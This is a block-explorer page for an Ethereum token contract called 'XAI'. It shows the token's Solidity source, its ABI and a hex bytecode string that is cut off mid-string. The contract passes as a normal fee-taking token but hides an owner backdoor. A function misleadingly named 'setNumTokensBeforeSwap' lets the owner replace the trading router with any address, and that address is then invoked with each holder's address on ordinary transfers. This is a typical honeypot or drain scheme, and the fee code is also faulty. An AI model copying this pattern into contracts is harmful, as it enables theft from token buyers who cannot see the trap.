ETH Price: $3,176.81 (-8.19%)
Gas: 2 Gwei

Token

XAI (XAI)
 

Overview

Max Total Supply

50,000,000 XAI

Holders

533

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1.806322243284007148 XAI

Value
$0.00
0x8aabfffcb2798ebd0d305cbccce4b36b9205c3c2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XAI

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-04
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
     uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from,
     address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Rout01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Rout01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract XAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;


    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _miniTokenBefSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 firstBlock;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor () payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        _name = "XAI";
        _symbol = "XAI";
        _decimals = 18;
        _owner = 0x2e14DEEB579b7D530C71D4FEF7345626E29aa5fF;
        _totalSupply = 50000000  * 10 ** _decimals;
        marketingWalletAddress = payable(0x2e14DEEB579b7D530C71D4FEF7345626E29aa5fF);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[_owner] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function miniTokenBefSwapAmount() public view returns (uint256) {
        return _miniTokenBefSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(newLimit);
        swapAndLiquifyEnabled = true;
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _miniTokenBefSwap;
                swapAndLiquify(contractTokenBalance,sender);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap {

        // swap token -> eth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = sender;
        path[2] = uniswapV2Router.WETH();
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"miniTokenBefSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600381526020017f58414900000000000000000000000000000000000000000000000000000000008152506001908051906020019062000170929190620005e2565b506040518060400160405280600381526020017f584149000000000000000000000000000000000000000000000000000000000081525060029080519060200190620001be929190620005e2565b506012600360006101000a81548160ff021916908360ff160217905550732e14deeb579b7d530c71d4fef7345626e29aa5ff6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a6200024d91906200082c565b6302faf0806200025e91906200087d565b600b81905550732e14deeb579b7d530c71d4fef7345626e29aa5ff600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005d39190620008ef565b60405180910390a35062000971565b828054620005f0906200093b565b90600052602060002090601f01602090048101928262000614576000855562000660565b82601f106200062f57805160ff191683800117855562000660565b8280016001018555821562000660579182015b828111156200065f57825182559160200191906001019062000642565b5b5090506200066f919062000673565b5090565b5b808211156200068e57600081600090555060010162000674565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200072057808604811115620006f857620006f762000692565b5b6001851615620007085780820291505b80810290506200071885620006c1565b9450620006d8565b94509492505050565b6000826200073b57600190506200080e565b816200074b57600090506200080e565b81600181146200076457600281146200076f57620007a5565b60019150506200080e565b60ff84111562000784576200078362000692565b5b8360020a9150848211156200079e576200079d62000692565b5b506200080e565b5060208310610133831016604e8410600b8410161715620007df5782820a905083811115620007d957620007d862000692565b5b6200080e565b620007ee8484846001620006ce565b9250905081840481111562000808576200080762000692565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008398262000815565b915062000846836200081f565b9250620008757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000729565b905092915050565b60006200088a8262000815565b9150620008978362000815565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008d357620008d262000692565b5b828202905092915050565b620008e98162000815565b82525050565b6000602082019050620009066000830184620008de565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200095457607f821691505b602082108114156200096b576200096a6200090c565b5b50919050565b612dc380620009816000396000f3fe6080604052600436106101bb5760003560e01c806382eefb43116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b806395d89b41116100c657806395d89b41146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b806382eefb431461048d5780638da5cb5b146104b8578063914eb66a146104e3576101c2565b806339509351116101595780634a74bb02116101335780634a74bb02146103bd5780635342acb4146103e8578063557ed1ba1461042557806370a0823114610450576101c2565b806339509351146103185780633ecad27114610355578063405ac9e814610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612171565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061222c565b610797565b6040516102269190612287565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b6040516102519190612301565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c919061232b565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612346565b6107e5565b6040516102b99190612287565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a8565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123df565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a919061222c565b6108fc565b60405161034c9190612287565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123fa565b6109af565b6040516103899190612287565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b4919061232b565b60405180910390f35b3480156103c957600080fd5b506103d26109d9565b6040516103df9190612287565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906123fa565b6109ec565b60405161041c9190612287565b60405180910390f35b34801561043157600080fd5b5061043a610a0c565b604051610447919061232b565b60405180910390f35b34801561045c57600080fd5b50610477600480360381019061047291906123fa565b610a14565b604051610484919061232b565b60405180910390f35b34801561049957600080fd5b506104a2610a5d565b6040516104af919061232b565b60405180910390f35b3480156104c457600080fd5b506104cd610a63565b6040516104da91906123a8565b60405180910390f35b3480156104ef57600080fd5b506104f8610a8c565b005b34801561050657600080fd5b5061050f610bdf565b60405161051c9190612171565b60405180910390f35b34801561053157600080fd5b5061054c6004803603810190610547919061222c565b610c71565b6040516105599190612287565b60405180910390f35b34801561056e57600080fd5b506105896004803603810190610584919061222c565b610d3e565b6040516105969190612287565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a8565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a8565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612448565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612287565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612463565b610de0565b60405161067f919061232b565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123fa565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d3919061232b565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123fa565b610f61565b005b606060018054610714906124d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124d2565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611123565b848461112b565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f6565b506108b4846107ff611123565b6108af85604051806060016040528060288152602001612d4160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b61112b565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611123565b846109a0856006600061091a611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117eb90919063ffffffff16565b61112b565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600c54905090565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a94611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1890612550565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bee906124d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a906124d2565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610d34610c7e611123565b84610d2f85604051806060016040528060258152602001612d696025913960066000610ca8611123565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879092919063ffffffff16565b61112b565b6001905092915050565b6000610d52610d4b611123565b84846112f6565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612550565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611123565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612550565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffff